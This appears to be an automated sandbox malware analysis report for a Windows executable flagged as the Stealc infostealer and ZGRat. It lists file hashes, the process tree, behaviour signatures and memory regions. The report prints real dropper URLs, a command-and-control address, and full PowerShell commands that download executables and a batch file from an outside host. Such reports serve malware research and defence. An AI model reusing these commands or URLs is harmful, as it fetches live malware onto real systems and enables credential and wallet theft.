Analysis

  • max time kernel
    134s
  • max time network
    244s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06-05-2024 05:11

General

  • Target

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

  • Size

    49KB

  • MD5

    d58a180c5d85448472b4e1007fae4b2a

  • SHA1

    c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54

  • SHA256

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

  • SHA512

    78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4988
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nso5DB1.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4272
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5020
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1708
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1424
        • C:\Users\Admin\AppData\Local\Temp\u13k.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u13k.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1176
        • C:\Users\Admin\AppData\Local\Temp\u13k.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u13k.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2232
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3384
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3756
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:2508

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      66382a4ca6c4dcf75ce41417d44be93e

      SHA1

      8132cbef1c12f8a89a68a6153ade4286bf130812

      SHA256

      a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

      SHA512

      2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      3cb5bc5436ad68077f7e0813a00ad1c8

      SHA1

      ddd37f2fd4c99a350904f9d7cf520253703533ee

      SHA256

      0ca1832b8d61ed64bbb500251787bbee1f2ab6a8cbd123a007f920ad20b545e7

      SHA512

      3c0ca4dc873b9bf6ca4699aba767448a4e8c59b84fd3f3580fac5e51904912e024b384fbd29a807919089b9fe239b84291d7671594decc118d100d756cdba01d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      e753ae9b4baf7d241018e7599338cdc8

      SHA1

      cd113bfc87ead24ea4b816d1ccd5b92eb65386b2

      SHA256

      adbbf2d1f8eba0590830846ad0ebb8801b27b4d37fce06aa7ec6911ad7b6b326

      SHA512

      c38d824a35afb9e69ca03fd4faa434a76fa4e3ca042471fe9c6f82ff213146115ba3c77b9bf91f1390fa499a415d4189e9b84cc15909c5cb206e5f23f70adb83

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vjylswx.ry0.ps1

      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • C:\Users\Admin\AppData\Local\Temp\i1.exe

      Filesize

      416KB

      MD5

      20bba8104dbb17901ad2fbbb7f589271

      SHA1

      c7f63f4a1b79272d074656643ce97e2fcad515bd

      SHA256

      fc996bee248c9648a5b92ea7b3bc0ccae013a66df014cd1db20adb7d862c4ea7

      SHA512

      54cf3cea6a7743250fb2db37a84e80c8bc4e018cd66a3ce3afcd6e331fb20049626b547420d3eed11167e84bd07374d549c9644a2284e85c0f4f22770ae7611b

    • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

      Filesize

      3KB

      MD5

      2500925263919a5c6a4082b7dcec4d4e

      SHA1

      ea8774ed583245347d2d0deb14e587a4bad316c2

      SHA256

      4cff8b2ea819dbe9f5e191ce300b59716232ed0a46f24a6c1f4f23827605da89

      SHA512

      43aabd436a39082fb3d96cda483e427721255e6406855252ef24634b588f75039e7945ef8e6825fbeeafb7844799d92df9ac730b5ceada72892625b3332653c6

    • C:\Users\Admin\AppData\Local\Temp\nso5DB1.tmp\app.bat

      Filesize

      556B

      MD5

      1d5830e49fb8ad21e3c1e3333b819e7f

      SHA1

      ee70e4b9c36d0bbcefce139bac51abadbd985197

      SHA256

      8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

      SHA512

      1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

    • C:\Users\Admin\AppData\Local\Temp\u13k.0.exe

      Filesize

      275KB

      MD5

      31c1bdc2c9075e8c2eab9353c41c117f

      SHA1

      ab28fb009dc8c2fa244c773760109e38711b1025

      SHA256

      4e08b9b37494a1917d2ab809fff59b3a45673a80d25587e51c8749331bb56233

      SHA512

      78b995611e33b441e9ebaeecbbce3ec96bbfcac7f71bd0f639ab1e3394900be5c80893dfc8957b696609eca7ce1933d58f026c7be389795f0dcc72ad3fc35593

    • C:\Users\Admin\AppData\Local\Temp\u13k.1.exe

      Filesize

      4.6MB

      MD5

      397926927bca55be4a77839b1c44de6e

      SHA1

      e10f3434ef3021c399dbba047832f02b3c898dbd

      SHA256

      4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

      SHA512

      cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

    • \ProgramData\mozglue.dll

      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    • \ProgramData\nss3.dll

      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    • \Users\Admin\AppData\Local\Temp\nso5DB1.tmp\INetC.dll

      Filesize

      25KB

      MD5

      40d7eca32b2f4d29db98715dd45bfac5

      SHA1

      124df3f617f562e46095776454e1c0c7bb791cc7

      SHA256

      85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

      SHA512

      5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

    • memory/1176-105-0x0000000061E00000-0x0000000061EF3000-memory.dmp

      Filesize

      972KB

    • memory/1176-190-0x0000000000400000-0x0000000001A0F000-memory.dmp

      Filesize

      22.1MB

    • memory/1176-239-0x0000000000400000-0x0000000001A0F000-memory.dmp

      Filesize

      22.1MB

    • memory/1176-249-0x0000000000400000-0x0000000001A0F000-memory.dmp

      Filesize

      22.1MB

    • memory/1424-125-0x0000000000400000-0x0000000001A32000-memory.dmp

      Filesize

      22.2MB

    • memory/2232-200-0x0000000000400000-0x00000000008AD000-memory.dmp

      Filesize

      4.7MB

    • memory/3384-211-0x00000185BE2C0000-0x00000185BE322000-memory.dmp

      Filesize

      392KB

    • memory/3384-219-0x00000185C2530000-0x00000185C2538000-memory.dmp

      Filesize

      32KB

    • memory/3384-233-0x00000185C3710000-0x00000185C372E000-memory.dmp

      Filesize

      120KB

    • memory/3384-228-0x00000185C3780000-0x00000185C37A2000-memory.dmp

      Filesize

      136KB

    • memory/3384-226-0x00000185C3730000-0x00000185C3780000-memory.dmp

      Filesize

      320KB

    • memory/3384-227-0x00000185C36E0000-0x00000185C36EC000-memory.dmp

      Filesize

      48KB

    • memory/3384-223-0x00000185C3C20000-0x00000185C4146000-memory.dmp

      Filesize

      5.1MB

    • memory/3384-222-0x00000185C36C0000-0x00000185C36E2000-memory.dmp

      Filesize

      136KB

    • memory/3384-221-0x00000185C36B0000-0x00000185C36BA000-memory.dmp

      Filesize

      40KB

    • memory/3384-220-0x00000185C33C0000-0x00000185C33F8000-memory.dmp

      Filesize

      224KB

    • memory/3384-217-0x00000185BE420000-0x00000185BE720000-memory.dmp

      Filesize

      3.0MB

    • memory/3384-213-0x00000185BDCE0000-0x00000185BDCEA000-memory.dmp

      Filesize

      40KB

    • memory/3384-207-0x00000185BDCD0000-0x00000185BDCDA000-memory.dmp

      Filesize

      40KB

    • memory/3384-212-0x00000185BE3A0000-0x00000185BE416000-memory.dmp

      Filesize

      472KB

    • memory/3384-201-0x000001859FD50000-0x00000185A3648000-memory.dmp

      Filesize

      57.0MB

    • memory/3384-202-0x00000185BDE50000-0x00000185BDF60000-memory.dmp

      Filesize

      1.1MB

    • memory/3384-204-0x00000185BDC40000-0x00000185BDC4C000-memory.dmp

      Filesize

      48KB

    • memory/3384-203-0x00000185A5440000-0x00000185A5450000-memory.dmp

      Filesize

      64KB

    • memory/3384-205-0x00000185BDC30000-0x00000185BDC44000-memory.dmp

      Filesize

      80KB

    • memory/3384-206-0x00000185BDCA0000-0x00000185BDCC4000-memory.dmp

      Filesize

      144KB

    • memory/3384-209-0x00000185BE190000-0x00000185BE242000-memory.dmp

      Filesize

      712KB

    • memory/3384-208-0x00000185BDCF0000-0x00000185BDD1A000-memory.dmp

      Filesize

      168KB

    • memory/3384-210-0x00000185BE240000-0x00000185BE2BA000-memory.dmp

      Filesize

      488KB

    • memory/5020-29-0x00000000072F0000-0x000000000730C000-memory.dmp

      Filesize

      112KB

    • memory/5020-27-0x00000000073E0000-0x0000000007446000-memory.dmp

      Filesize

      408KB

    • memory/5020-24-0x0000000072B20000-0x000000007320E000-memory.dmp

      Filesize

      6.9MB

    • memory/5020-25-0x0000000006B80000-0x0000000006BA2000-memory.dmp

      Filesize

      136KB

    • memory/5020-23-0x0000000006C60000-0x0000000007288000-memory.dmp

      Filesize

      6.2MB

    • memory/5020-52-0x0000000072B20000-0x000000007320E000-memory.dmp

      Filesize

      6.9MB

    • memory/5020-22-0x0000000072B20000-0x000000007320E000-memory.dmp

      Filesize

      6.9MB

    • memory/5020-28-0x0000000007550000-0x00000000078A0000-memory.dmp

      Filesize

      3.3MB

    • memory/5020-26-0x0000000007370000-0x00000000073D6000-memory.dmp

      Filesize

      408KB

    • memory/5020-30-0x0000000007E90000-0x0000000007EDB000-memory.dmp

      Filesize

      300KB

    • memory/5020-31-0x0000000007C10000-0x0000000007C86000-memory.dmp

      Filesize

      472KB

    • memory/5020-46-0x0000000009100000-0x0000000009778000-memory.dmp

      Filesize

      6.5MB

    • memory/5020-47-0x0000000008A50000-0x0000000008A6A000-memory.dmp

      Filesize

      104KB

    • memory/5020-48-0x0000000072B20000-0x000000007320E000-memory.dmp

      Filesize

      6.9MB

    • memory/5020-21-0x0000000006480000-0x00000000064B6000-memory.dmp

      Filesize

      216KB

    • memory/5020-18-0x0000000072B2E000-0x0000000072B2F000-memory.dmp

      Filesize

      4KB